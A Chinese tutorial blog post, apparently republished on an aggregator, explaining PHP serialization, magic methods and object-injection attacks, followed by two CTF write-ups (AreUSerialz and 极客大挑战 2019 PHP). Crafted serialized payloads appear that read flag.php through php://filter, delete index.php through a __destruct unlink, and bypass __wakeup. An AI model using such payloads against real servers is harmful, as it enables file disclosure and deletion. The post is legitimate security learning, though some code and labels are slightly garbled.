php反序列化含CTF实战

php反序列化

声明:本人只是在学习反序列化 因此这篇文章大量参考了https://blog.csdn.net/Hardworking666/article/details/122373938 这位的博客 感谢他的详细文章让我可以详细学习反序列化 大家想看更详细的可以直接参考他的文章!!!

什么是序列化和反序列化

序列化就是将数据格式转化成可以存储和传输的格式,原因是php文件正常执行结束会将文件销毁,那么下一次使用的时候就没有了,因此需要长久保存,就是序列化,也就是是使用serialize()函数.

反序列化就是将可以传输的这种格式恢复成原本的对象,使用unserialize()函数

+++

json 和 php 序列化的关系

json

  • 一种轻量级的数据格式,通常用于前后端的数据传输,api,web开发,源自jsp
  • 人类可读
  • 一种纯文本格式,易于通过HTTP传输

关系

  • json是跨平台,跨语言的 任何支持json语言的都可以读写json数据
  • php序列化只能在php中使用,不嫩那个直接跨语言传输
  • 二者可以互相转化,但需要手动改动

+++

php面向对象编程

  • 面向对象(一种编程思路) : 将程序中的数据和操作方法打包在一起 ,包含对象 类 封装 继承等
    1. 对象 :程序中的基本单位,也是现实中的一个具体事物,例如狗狗是一个对象
    2. 类:它是对象的蓝图:定义了狗的特性(毛色 行为) 也可以由类产生具体对象
    3. 封装:将数据和方法打包载一起,只暴露必要部分,例如你知道踩油门车会动,但是不知道内部结构和工作原理
    4. 继承:就是一个类可以继承另一个类的特性,避免代码重复,例如毛和狗都继承了动物类型
    5. 多态:同一个方法在不同对象有不同表现
<?php
class Test//定义了一个类
public $variable = 'this is a variable' //定义了一个变量
pubilc function PrivateVariable()  //定义了一个方法
$object = new Test();  //创建了一个对象
$object -> PrintVariable();  //创建了一个方法
?>

普及面向过程(c pascal fortran)

  • 将程序看作一系列步骤或者动作的指令,可以将其当成一个菜谱,一步一步完成任务

+++

pubilc protected private

  • php对属性或者方法的访问权限 是通过在前面加关键字实现的 有
    1. public(共有):在任何地方都可以访问
    2. privated(受保护):受保护的类成员可以被其自身或者父类 子类访问
    3. private(私有):私有的类成员只能被其定义的类所访问

注意: (\x00代表空字符 必须占一个位置)

public:属性被序列化后属性值会变为属性名

privated:属性值被序列化后属性值会变成\x00*\x00属性名

privated:属性值被序列化后属性值会变成\x00类名\x00属性名

+++

魔术方法

  • 格式:

两个下划线_开头

  • 函数
__construct()            //类的构造函数,创建对象时触发,用于初始化对象的属性或者执行一些启动工作__destruct()             //类的析构函数,对象被销毁时触发。用来释放资源或执行清理工作__call()                 //当你调用一个对象的不可访问方法时触发。比如调用一个不存在的对象方法。__callStatic()           //当你调用一个静态方法时,但方法不存在时触发。__get()                  //当你访问一个不可访问的属性时触发。比如访问私有属性。__set()                  //当你给一个不可访问的属性赋值时触发。__isset()                //当你调用 isset() 或 empty() 判断不可访问属性时触发。__unset()                //当你用 unset() 删除不可访问属性时触发。__invoke()               //当你试图以函数的方式调用对象时触发__sleep()                //当你将对象序列化时触发,通常用于决定哪些属性应该被序列化。__wakeup()               //当你反序列化对象时触发,用于重新初始化某些状态。__toString()             //当你将对象作为字符串输出时触发。
  • 作用:他们使你能在Php中对类的行为进行精细调控,十分牛逼

从序列化到反序列化

_construct ->__sleep ->__wakeup() -> __toString ()-> __destruct()

<?php
class TestClass
{ 
//一个变量public $variable = 'This is a string';//一个方法 这个方法用于打印变量$variable 的值public function PrintVariable(){echo $this->variable.'<br />';}//构造函数在创建函数时自动调用 public function  __construct(){   //简单输出__constructecho '__construct<br />';}//析构函数在对象被摧毁时自动调用public function __destruct(){ //简单输出__destructecho '__destruct<br />';}//当对象被当作一个字符串,函数调用public function __toString(){return '__toString<br />';}
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//调用一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>

漏洞:

  • 序列化只序列化属性 不序列方法
  • 我们能控制的只有类的属性,攻击者就是寻找合适能被控制的属性

+++

php序列化与反序列化的使用

序列化:

<?php
class User
{//类的数据public $age = 0;   //初始值为0public $name = '';  //初始值为空字符//输出数据的方法public function printdata(){//输出用户的年龄和姓名echo 'User '.$this->name.' is '.$this->age.' years old.<br />';} // “.”表示字符串连接
}
//创建User类的对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//调用方法输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

这里的输出结果第二行就是序列化后的形式:

"o"表示对象,"4"表示对象名长度为4,"User"为对象名,“2”表示有2个参数

“{}”里面是参数的key和value

"s"表示string对象,"3"表示长度,“age”为key,"i"是interger(整数)对象,“18”是value

    • s:3:"age" 表示属性名是 age,长度为 3 个字符。
    • i:18 表示 age 属性的值是一个整数 18
    • s:4:"name" 表示属性名是 name,长度为 4 个字符。
    • s:14:"Hardworking666" 表示 name 属性的值是一个字符串,长度为 14 个字符,内容是 "Hardworking666"

对上述例子进行反序列化

<?php
class User
{//类的数据public $age = 0;public $name = '';//输出数据public function printdata(){echo 'User '.$this->name.' is '.$this->age.' years old.<br />';}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>

输出结果:

User Hardworking666 is 18 years old.

序列化格式:

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

实例代码:

这里会演示PHP中关于序列化和反序列化的一些特别行为,特别是 使用了魔术方法__sleep__wakeup来控制序列化和反序列化过程中的行为,并且定义了__construct__destruct来演示对象创建和销毁时的行为

<?php
class test
{public $variable = '变量反序列化后都要销毁'; // 公共变量public $variable2 = 'OTHER';// 打印变量的方法public function printvariable(){echo $this->variable . '<br />';}// 构造方法,创建对象时调用public function __construct(){echo '__construct' . '<br />';}// 析构方法,销毁对象时调用public function __destruct(){echo '__destruct' . '<br />';}// 在对象反序列化时调用public function __wakeup(){echo '__wakeup' . '<br />';}// 在对象序列化时调用public function __sleep(){echo '__sleep' . '<br />';return array('variable', 'variable2'); // 只序列化这些属性}
}// 创建一个对象,回调用 __construct  这里直接输出construct
$object = new test();  // 输出:__construct// 序列化一个对象,会调用 __sleep
$serialized = serialize($object);  // 输出:__sleep
// 输出序列化后的字符串
print 'Serialized:' . $serialized . '<br />';  // 输出 Serialized:O:4:"test":2:{s:8:"variable";s:24:"变量反序列化后都要销毁";s:8:"variable2";s:5:"OTHER";}// 反序列化对象,会调用 __wakeup
$object2 = unserialize($serialized);  // 输出:__wakeup
// 调用 printvariable,会输出数据
$object2->printvariable();  // 输出:变量反序列化后都要销毁// 脚本结束,会调用 __destruct
?>

输出结果:

__construct       
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:24:"变量反序列化后都要销毁";s:8:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct

+++

php反序列化

原理:

  • 目标是服务器端
  • 攻击者构造一个包含恶意数据的序列化字符串,例如一个包含特定文件路径的对象属性,或者触发恶意代码的模式方法
  • 攻击者将恶意数据交给服务器(url post请求 cookie)
  • 服务器在反序列时会触发魔术方法 导致恶意操作

使用:

调用__destruct删除

存在漏洞思路:一个类用于临时将日志存储进某个文件,当__destruct被调用时,日志文件就会被删除

//logdata.php
<?php
class logfile  //定义了一个类叫logfile
{//log文件名public $filename = 'error.log';//一些用于储存日志的代码public function logdata($text)  // ->核心方法 :将日志文本追加到error.log文件{echo 'log data:'.$text.'<br />';file_put_contents($this->filename,$text,FILE_APPEND);}//destrcuctor 删除日志文件public function __destruct(){echo '__destruct deletes '.$this->filename.'file.<br />';unlink(dirname(__FILE__).'/'.$this->filename);}
}
?>

下一段代码和上一段属于不同的两个类 但是上一段可以引入下一段用于存储下一段中的数据(日志)

<?php
include 'logdata.php'
class User
{//类数据public $age = 0;public $name = '';//输出数据public function printdata(){echo 'User '.$this->name.' is'.$this->age.' years old.<br />';}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

这里通过get传参 或者 url ,用户传入yourscript.php?usr_serialized=O:4:"User":2:{s:3:"age";i:25;s:4:"name";s:5:"Alice";}的序列化字符串给服务器 ,之后服务器会反序列化成$usr = unserialize($_GET['usr_serialized']); 这样你就可以使用**$usr**作为user类的实例 ,并访问他的属性以及调用方法了

像这样:

echo $usr->name;  //输出用户的名字
echo $usr->age;   //输出用户年龄
$usr->printdata       //调用printdata方法

或者构造删除目录下的index.php文件

<?php
include 'logadata.php';
$object = new logfile();
$object ->filename='index.php';
echo serialize($object).</br>;
?>

+++

实战

BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz 目标:读取flag

页面源代码

<?phpinclude("flag.php");   //将指定的php文件flag内容嵌入到当前脚本中highlight_file(__FILE__);class FileHandler {   //filehandler类包含了一些属性 如$op $fileneme $content 这些属性的值将影响对象的方法执行protected $op;protected $filename;protected $content;function __construct() {      //这里初始化一些值$op = "1";          $filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {     //process方法根据$op的值调用weite或者read方法if($this->op == "1") {    $this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {  //用于检查当前对象的属性是否被初始化if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);     //file put content将字符串写入文件中  这里和我们想要读取flag没有关系if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {  // 文件最终都会销毁 看看后面的内容if($this->op === "2")$this->op = "1";  //强行让op=1 所以我们要绕过他$this->content = "";$this->process();}}function is_valid($s) {     //用于检验$str字符串是否仅包含ascii字符串中32到125位的for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {   //通过get传参方法获取字符串str$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
解法

这里我通过在线运行php程序

<?php
class FileHandler
{public $op=2;public $filename="php://filter/read=convert.base64-encode/resource=flag.php";   //这个代码的作用是 读取 flag.php 文件 的内容,并将其 Base64 编码。(下方芝士中有拓展)public $content;   //这里属性都定义为公共的,因为序列化时私有的属性就会被忽略 这就无法达成我想要的目的}
$a = new FileHandler();  //这里创建一个filehandler类的实例 实例化后 才可以使用类的属性或者方法
echo serialize($a);    //这里用于将a这个对象(也就是filehandler类的实例)转化为一个可以存储或传输的字符串?>

输出

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

之后payload:

?str=O:12:"FileHhandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到了result //这是base64的编码 这里使用[file:///D:/cyberchef/CyberChef_v10.19.4.html][] 进行解码

[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7YjI1NjVlNTgtOWFkOS00MGE2LTg5ZmItMDQ1MWFkNzUwYjk5fSc7Cg==
<?php $flag='flag{b2565e58-9ad9-40a6-89fb-0451ad750b99}';

因此得到flag

芝士点: php 封装协议

php:// 协议

PHP 中的 php:// 协议是一个特殊的流包装器,可以让你访问文件系统、内存或其他资源,进行编码或解码等操作,常用的协议包括:

  • php://input: 读取原始 POST 数据流(例如上传文件)。
  • php://output: 将输出直接发送到浏览器。
  • php://memory: 在内存中读写数据,类似文件,但不存储在磁盘上。
  • php://filter: 用于对文件流进行过滤,可以对文件内容进行编码、解码等操作。

resource=<要过滤的数据流> 指定了你要过滤的数据流 必选

read=<读链的筛选列表> 可以指定一个或者多个过滤器的名称 以管道符(|)分割 可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分割,可选

经验:php伪协议

因此上面的题目中 我们将flag.php文件在读取时进行base64编码 ,这样即使我们能够访问文件内容,他也不会以纯文本形式直接显示 ,这么做是为了绕过一些限制并且获取文件内容,因为出题者增加了题目难度

+++

[极客大挑战 2019]PHP

做法

这里启动靶机之后显示有备份网站 这里使用dirsearch

dirsearch 是一个用 Python 编写的简单而强大的目录扫描工具,它用于通过暴力攻击来发现 Web 服务器上的隐藏目录和文件

python dirsearch.py -u http://ce68feba-62cb-4570-8482-1904ddc69956.node5.buuoj.cn:81/ -e php

查看class.php的文件中发现问题在于我需要让username=admin,但是设置的代码 使得反序列之后uesename=guest 所以关键在于绕过__wakeup 魔术方法

解法
  1. 当属性个数的值大于实际个数的时候,会跳过__wakeup()函数的执行

ps:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
// 这里name 后面属性值应该是2 但是我之后改成了3 那么就可以绕过__wakeup了
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里的序列化的代码来自以下代码 也就是本题目解法

<?php
class Name {private $username = 'admin';private $password = '100';
}// 创建对象
$a = new Name();
// 序列化对象
echo serialize($a);
?>

但是光光修改了属性值为3不足以通过题目 因为private 属性被序列化的时候属性名字会变成%00类名%00属性名 ,长度跟随属性名长度而改变,加%00的目的是用于替代不可见字符

这里在线编码没有加的原因可能是

PHP 版本差异:不同版本的 PHP 可能会在处理私有和受保护属性时有所不同。早期的 PHP 版本会使用 \0 字节(即 %00)来区分私有和受保护属性,而某些较新的 PHP 版本可能会改变这一行为,直接使用属性名。

运行环境影响:你提到是在“在线运行环境”中运行代码,这可能会影响到序列化的具体实现。有些在线工具可能会修改或简化序列化逻辑,以便输出更易读或更简洁的结果。

序列化机制的优化:为了优化序列化的效率,PHP 可能对某些特殊情况做了处理。例如,如果对象的类定义是简单的,PHP 可能不会添加 \0 字节,而是直接使用属性名。

因此

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到了flag!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69155.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

6.PPT:魏女士-高新技术企业政策【19】

目录 NO1234​ NO567 ​ NO1234 创建“PPT.pptx”考生文件夹Word素材文档&#xff1a;选中对应颜色的文字→选中对应的样式单击右键按下匹配对应文字&#xff1a;应用所有对应颜色的文字开始→创建新的幻灯片→从大纲&#xff1a;考生文件夹&#xff1a;Word素材重置 开始→版…

【Linux系统】信号:信号保存 / 信号处理、内核态 / 用户态、操作系统运行原理(中断)

理解Linux系统内进程信号的整个流程可分为&#xff1a; 信号产生 信号保存 信号处理 上篇文章重点讲解了 信号的产生&#xff0c;本文会讲解信号的保存和信号处理相关的概念和操作&#xff1a; 两种信号默认处理 1、信号处理之忽略 ::signal(2, SIG_IGN); // ignore: 忽略#…

【算法篇】贪心算法

目录 贪心算法 贪心算法实际应用 一&#xff0c;零钱找回问题 二&#xff0c;活动选择问题 三&#xff0c;分数背包问题 将数组和减半的最小操作次数 最大数 贪心算法 贪心算法&#xff0c;是一种在每一步选择中都采取当前状态下的最优策略&#xff0c;期望得到全局最优…

SSM网上球鞋竞拍系统

&#x1f345;点赞收藏关注 → 添加文档最下方联系方式咨询本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345; 项目视频 js…

基于springboot河南省旅游管理系统

基于Spring Boot的河南省旅游管理系统是一种专为河南省旅游行业设计的信息管理系统&#xff0c;旨在整合和管理河南省的旅游资源信息&#xff0c;为游客提供准确、全面的旅游攻略和服务。以下是对该系统的详细介绍&#xff1a; 一、系统背景与意义 河南省作为中国的中部省份&…

人工智能|本地部署|ollama+chatbox快速Windows10下部署(初级篇)

一、 前言&#xff1a; 其实早一个月我已经使用过deepseek&#xff0c;并且也在自己的机器上通过ollama部署过&#xff0c;但一直没有太多动力&#xff0c;现在感觉还是的记录一下&#xff0c;省的自己给忘掉了 本文只是简单记录一下ollamaopen-webuichatbox部署通过网盘分享…

ZZNUOJ(C/C++)基础练习1061——1070(详解版)

目录 1061 : 顺序输出各位数字 C语言版 C版 1062 : 最大公约数 C C 1063 : 最大公约与最小公倍 C C 1064 : 加密字符 C C 1065 : 统计数字字符的个数 C C 1066 : 字符分类统计 C C 1067 : 有问题的里程表 C C 1068 : 进制转换 C C C&#xff08;容器stack…

记录一下 在Mac下用pyinstallter 打包 Django项目

安装: pip install pyinstaller 在urls.py from SheepMasterOneToOne import settings from django.conf.urls.static import staticurlpatterns [path("admin/", admin.site.urls),path(generate_report/export/, ReportAdmin(models.Report, admin.site).generat…

使用Python和TensorFlow/Keras构建一个简单的CNN模型来识别手写数字

一个简单的图像识别项目代码示例,使用Python和TensorFlow/Keras库来训练一个基本的CNN模型,用于识别MNIST手写数字数据集,并将测试结果输出到HTML。 代码运行效果截图: 具体操作步骤: 1. 安装所需的库 首先,确保你已经安装了所需的Python库: pip install tensorflow…

2021.3.1的android studio版本就很好用

使用最新版的studio有个问题就是gradle版本也比较高&#xff0c;这样就容易出现之前项目不兼容问题&#xff0c;配置gradle可能会出现很多问题比较烦&#xff0c;所以干脆就用老版本的studio

控件【QT】

文章目录 控件QWidgetenabledgeometrysetGeometry qrcwindowOpacityQPixmapfonttoolTipfocusPolicystyleSheetQPushButtonRadio ButtionCheck Box显示类控件QProgressBarcalendarWidget 控件 Qt中已经提供了很多内置的控件了(按钮,文本框,单选按钮,复选按钮&#xff0c;下拉框…

【小鱼闪闪】做一个物联网控制小灯的制作流程简要介绍(图文)

1、注册物联网云平台&#xff0c;这里选用巴法云 2.、新建主题 “ledtest” 3、 使用Arduino或Mixly软件编写单片机程序&#xff08;需要引用巴法云库文件&#xff09;&#xff0c;程序中订阅“ledtest”主题&#xff0c;用于接收单片机发送来的数据。此处会将连接的温度传感器…

KNN算法:从思想到实现(附代码)

引言 K最近邻算法&#xff08;K Nearest Neighbors, KNN&#xff09;是一种简单而有效的机器学习算法&#xff0c;用于分类和回归问题。其核心思想基于“近朱者赤&#xff0c;近墨者黑”&#xff0c;即通过测量不同特征值之间的距离来进行分类或预测数值。本文将详细介绍KNN的…

专业学习|一文了解并实操自适应大邻域搜索(讲解代码)

一、自适应大邻域搜索概念介绍 自适应大邻域搜索&#xff08;Adaptive Large Neighborhood Search&#xff0c;ALNS&#xff09;是一种用于解决组合优化问题的元启发式算法。以下是关于它的详细介绍&#xff1a; -自适应大领域搜索的核心思想是&#xff1a;破坏解、修复解、动…

TensorFlow深度学习实战(6)——回归分析详解

TensorFlow深度学习实战&#xff08;6&#xff09;——回归分析详解 0. 前言1. 回归分析简介2. 线性回归2.1 简单线性回归2.2 多重线性回归2.3 多元线性回归 3. 构建基于线性回归的神经网络3.1 使用 TensorFlow 进行简单线性回归3.2 使用 TensorFlow 进行多元线性回归和多重线性…

2024年12月 Scratch 图形化(二级)真题解析 中国电子学会全国青少年软件编程等级考试

202412 Scratch 图形化&#xff08;二级&#xff09;真题解析 中国电子学会全国青少年软件编程等级考试 一、单选题(共25题&#xff0c;共50分) 第 1 题 小猫初始位置和方向如下图所示&#xff0c;下面哪个选项能让小猫吃到老鼠&#xff1f;&#xff08; &#xff09; A. B. …

Java 面试合集(2024版)

种自己的花&#xff0c;爱自己的宇宙 目录 第一章-Java基础篇 1、你是怎样理解OOP面向对象??? 难度系数&#xff1a;? 2、重载与重写区别??? 难度系数&#xff1a;? 3、接口与抽象类的区别??? 难度系数&#xff1a;? 4、深拷贝与浅拷贝的理解??? 难度系数&…

Math Reference Notes: 符号函数

1. 符号函数的定义 符号函数&#xff08;Sign Function&#xff09; sgn ( x ) \text{sgn}(x) sgn(x) 是一个将实数 ( x ) 映射为其 符号值&#xff08;即正数、负数或零&#xff09;的函数。 它的定义如下&#xff1a; sgn ( x ) { 1 如果 x > 0 0 如果 x 0 − 1 如…

一文了解边缘计算

什么是边缘计算&#xff1f; 我们可以通过一个最简单的例子来理解它&#xff0c;它就像一个司令员&#xff0c;身在离炮火最近的前线&#xff0c;汇集现场所有的实时信息&#xff0c;经过分析并做出决策&#xff0c;及时果断而不拖延。 1.什么是边缘计算&#xff1f; 边缘计算…

108,【8】 buuctf web [网鼎杯 2020 青龙组]AreUSerialz

进入靶场 <?php // 包含 flag.php 文件&#xff0c;通常这个文件可能包含敏感信息&#xff0c;如 flag include("flag.php");// 高亮显示当前文件的源代码&#xff0c;方便查看代码结构和逻辑 highlight_file(__FILE__);// 定义一个名为 FileHandler 的类&#x…